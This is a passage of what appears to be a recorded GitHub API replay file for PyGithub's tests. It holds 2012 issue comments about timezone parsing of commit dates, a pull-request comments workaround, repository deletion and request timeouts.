happens?","updated_at":"2012-07-02T14:58:45Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6710355","created_at":"2012-07-02T14:58:45Z","user":{"type":"User","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","repos_url":"https://api.github.com/users/bilderbuchi/repos","login":"bilderbuchi","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442,"starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}"},"id":6710355},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"Hello Christoph!\n\nIndeed this attribute should be a `datetime.datetime`. And as you noticed, it is not formated like other dates returned by Github... I remember I discovered that when I was doing the conversion from string of all the `*_at` and `*_on` attributes, and I did not take time to dig deeper.\n\nI will create a more generic date parsing function that handles all formats returned by Github, and I'll use it for all `datetime` attributes.\n\nBut before that, I'll have to understand timezone handling in Python, so do not expect this too soon (maybe mid-July).","updated_at":"2012-07-03T07:15:53Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6727553","created_at":"2012-07-03T07:15:53Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6727553},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"yeah no problem, I'm not reliant on so precise information, take your time. btw, maybe that's a bug in the github API? why would this one time be returned in a different way than all the others? I can't see a reason for this.\n\nagreed, time(zones) in python are crazy at times.","updated_at":"2012-07-03T07:24:21Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6727659","created_at":"2012-07-03T07:24:21Z","user":{"type":"User","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","repos_url":"https://api.github.com/users/bilderbuchi/repos","login":"bilderbuchi","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442,"starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}"},"id":6727659},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"I don't think it's a bug in Github:\n* `GitAuthor.date` is related to an action done somewhere (on the committer's computer), so it carries the timezone of this computer\n* other datetimes are related to actions done on Github's servers, so it's returned with a \"Z\" timezone meaning \"UTC\", the timezone of these servers.","updated_at":"2012-07-03T07:36:30Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6727848","created_at":"2012-07-03T07:36:30Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6727848}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/comments?page=2&since=2012-05-28T23%3A00%3A00Z {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4964'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '44148'), ('server', 'nginx'), ('last-modified', 'Fri, 21 Dec 2012 18:46:45 GMT'), ('connection', 'keep-alive'), ('etag', '"446137bf216c4edc30567fbc3e944b5a"'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Dec 2012 11:54:38 GMT'), ('x-github-media-type', 'github.beta; format=json'), ('content-type', 'application/json; charset=utf-8')] [{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"And by the way, I'm not sure it's a problem for you but I prefer to make it clear: if `tag` is a `Tag`, then `tag.commit.commit.committer.date` is the date of the tagged commit, not the date of the tag. If you really need the date of the tag, you need a `GitTag` and use `git_tag.tagger.date`.","updated_at":"2012-07-03T07:50:18Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6728069","created_at":"2012-07-03T07:50:18Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6728069},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"ah, makes sense. If you want to avoid the timezone confusion, mayb what is suggested [here](http://stackoverflow.com/a/117615/599884) makes most sense: \n\"Keep your internal datetime objects naive and in UTC and convert to your timezone for formatting only. The reason why you probably want naive objects (objects without timezone information) is that many libraries and database adapters have no idea about timezones.\"\nSo maybe it makes sense to just convert the GitAuthor times to UTC when getting them (i.e. apply the offset to the given time), to be consistent with the rest.\n\nThanks about the clarification re: GitTag/Tag. I prefer the date of the tagged commit, though, the tags mark release commits.\n","updated_at":"2012-07-03T07:59:36Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6728241","created_at":"2012-07-03T07:59:36Z","user":{"type":"User","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":6728241},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"If I convert the `GitAuthor.date` to UTC, I loose the information about where the committer lives... It may or may not be a problem depending on my client's use case.\n\nI'll find a way to make it clear and not loose information, maybe I will convert `date` to UTC (keep it naive), and add another attribute `timezone` to `GitAuthor`.","updated_at":"2012-07-07T18:18:46Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6728370","created_at":"2012-07-03T08:08:08Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6728370},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"I still have to convert the datetime to UTC. But there is something silly about timezones returned by Github: my commits are timezoned \"-07:00\" while I live in France (UTC +1 or +2). I have to investigate that.","updated_at":"2012-07-10T19:42:43Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6886561","created_at":"2012-07-10T19:42:43Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6886561},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"Well, well, well... I now revise my judgement: **absolutely all** commits I've retrieved from Github are in timezone -07:00, so this must indeed be a flaw in the API, returning date formatted in the local timezone of the GIthub servers only for this attribute. @bilderbuchi, you were right in https://github.com/PyGithub/PyGithub/issues/54#issuecomment-6727659 :-)\n\nThere is no point keeping this GitAuthor.timezone attribute. I will just convert everything to UTC.","updated_at":"2012-07-13T19:17:15Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6972414","created_at":"2012-07-13T19:05:53Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6972414},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"ok. maybe also write to github about this probable bug in the API, to see what's the deal?","updated_at":"2012-07-15T19:57:26Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6994436","created_at":"2012-07-15T19:57:26Z","user":{"type":"User","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":6994436},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"@bilderbuchi, to be honest, I don't think I will take time to contact Github about that.","updated_at":"2012-07-18T09:12:53Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7060818","created_at":"2012-07-18T09:12:53Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7060818},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"Sure, I understand. :-)","updated_at":"2012-07-18T09:21:16Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7060993","created_at":"2012-07-18T09:21:16Z","user":{"type":"User","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":7060993},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5783131","body":"Thank you for this useful contribution! You even respected my special spacing convention!\n\nI will publish the version 1.4 of PyGithub next week-end.","updated_at":"2012-07-24T16:07:06Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7211543","created_at":"2012-07-24T16:07:06Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7211543},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5783131","body":"Hum, I'm having trouble with my computer and not much time to fix it. I'll publish PyGithub 1.4 as soon as possible.","updated_at":"2012-07-31T18:47:09Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7407798","created_at":"2012-07-31T18:47:09Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7407798},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5806612","body":"Published, at last...","updated_at":"2012-08-04T06:11:43Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7499550","created_at":"2012-08-04T06:11:43Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7499550},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6353712","body":"Hello!\n\nI confirm that the following code exhibits the same issue:\n\n import github\n\n g = github.Github()\n r = g.get_user( \"jacquev6\" ).get_repo( \"PyGithub\" )\n p = r.get_pull( 57 )\n print p.title, \"has\", p.comments, \"comments\"\n print [ c.body[ :15 ] for c in p.get_comments() ]\n\nIt prints:\n\n Allows connection to GitHub Enterprise installs on local URLs has 2 comments\n []\n\nThis last line calls API https://api.github.com/repos/PyGithub/PyGithub/pulls/57/comments, as documented in http://developer.github.com/v3/pulls/comments/#list-comments-on-a-pull-request, but the API returns an empty list. I've just managed to get the comments by calling https://api.github.com/repos/PyGithub/PyGithub/issues/57/comments instead. The issue must be on Github's side.\n\nAs a **temporary** work-around, you can use the following code to do as if the pull request is an issue, and call the other API:\n\n print [ c.body[ :15 ] for c in r.get_issue( p.number ).get_comments() ]\n\nRight now, I have not enough time to take care of this problem, but if it's still here at the beginning of September, I will contact Github and/or patch PyGithub.\n\nEnjoy,","updated_at":"2012-08-21T22:15:01Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7918385","created_at":"2012-08-21T22:15:01Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7918385},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6363719","body":"Deleting a repository is a new functionality that was not implemented in the API when I published the last version of PyGithub. It is now documented here: http://developer.github.com/v3/repos/#delete-a-repository\n\nI will implement it in PyGithub at the beginning of September.","updated_at":"2012-08-21T22:21:13Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7918542","created_at":"2012-08-21T22:21:13Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7918542},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6363719","body":"For the 'get_team' part of your issue, I can't find a way to get the id of a team from its name here: http://developer.github.com/v3/orgs/teams/ so there is no way to do it in PyGithub without iterating on 'get_teams()'","updated_at":"2012-08-21T22:27:24Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7918728","created_at":"2012-08-21T22:27:24Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7918728},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6363719","body":"Thanks for your fast reply and help. I look forward to having repo delete.","updated_at":"2012-08-22T01:44:09Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7922282","created_at":"2012-08-22T01:44:09Z","user":{"type":"User","events_url":"https://api.github.com/users/pmchen/events{/privacy}","received_events_url":"https://api.github.com/users/pmchen/received_events","gists_url":"https://api.github.com/users/pmchen/gists{/gist_id}","followers_url":"https://api.github.com/users/pmchen/followers","following_url":"https://api.github.com/users/pmchen/following","organizations_url":"https://api.github.com/users/pmchen/orgs","url":"https://api.github.com/users/pmchen","gravatar_id":"a0f9638840c6e593ecddc966e6d01241","starred_url":"https://api.github.com/users/pmchen/starred{/owner}{/repo}","login":"pmchen","avatar_url":"https://secure.gravatar.com/avatar/a0f9638840c6e593ecddc966e6d01241?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/pmchen/repos","subscriptions_url":"https://api.github.com/users/pmchen/subscriptions","id":671751},"id":7922282},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6353712","body":"To enhance the workaround a bit, you can do this to determine if an issue is a PR or not (because all PRs are issues, too):\n```\n if myIssue.pull_request.diff_url:\n PR=True\n else:\n PR=False\n```","updated_at":"2012-08-22T06:56:34Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7926126","created_at":"2012-08-22T06:56:34Z","user":{"type":"User","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":7926126},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6353712","body":"Thank you! Will use this as a workaround.","updated_at":"2012-08-22T07:10:09Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7926317","created_at":"2012-08-22T07:10:09Z","user":{"type":"User","events_url":"https://api.github.com/users/nixoz2k7/events{/privacy}","received_events_url":"https://api.github.com/users/nixoz2k7/received_events","gists_url":"https://api.github.com/users/nixoz2k7/gists{/gist_id}","followers_url":"https://api.github.com/users/nixoz2k7/followers","following_url":"https://api.github.com/users/nixoz2k7/following","organizations_url":"https://api.github.com/users/nixoz2k7/orgs","url":"https://api.github.com/users/nixoz2k7","gravatar_id":"2a16046c75f59710161ea486d1f5881d","starred_url":"https://api.github.com/users/nixoz2k7/starred{/owner}{/repo}","login":"nixoz2k7","avatar_url":"https://secure.gravatar.com/avatar/2a16046c75f59710161ea486d1f5881d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/nixoz2k7/repos","subscriptions_url":"https://api.github.com/users/nixoz2k7/subscriptions","id":1027413},"id":7926317},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6363719","body":"On-going developments are here: https://github.com/PyGithub/PyGithub/tree/topic/DeleteRepository","updated_at":"2012-08-23T07:43:36Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7962252","created_at":"2012-08-23T07:43:36Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7962252},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6454054","body":"I just realized that there is no option to set timeout for github api requests. There is no timeout at all in Requester.\nIn python2.6 was added option timeout for httplib.HTTPConnection and httplib.HTTPSConnection. It seems that it will drop support of python<2.6.\nAnother way to change the way that Requester works. You can use requests library from @kennethreitz. BTW it will simplify whole Requester 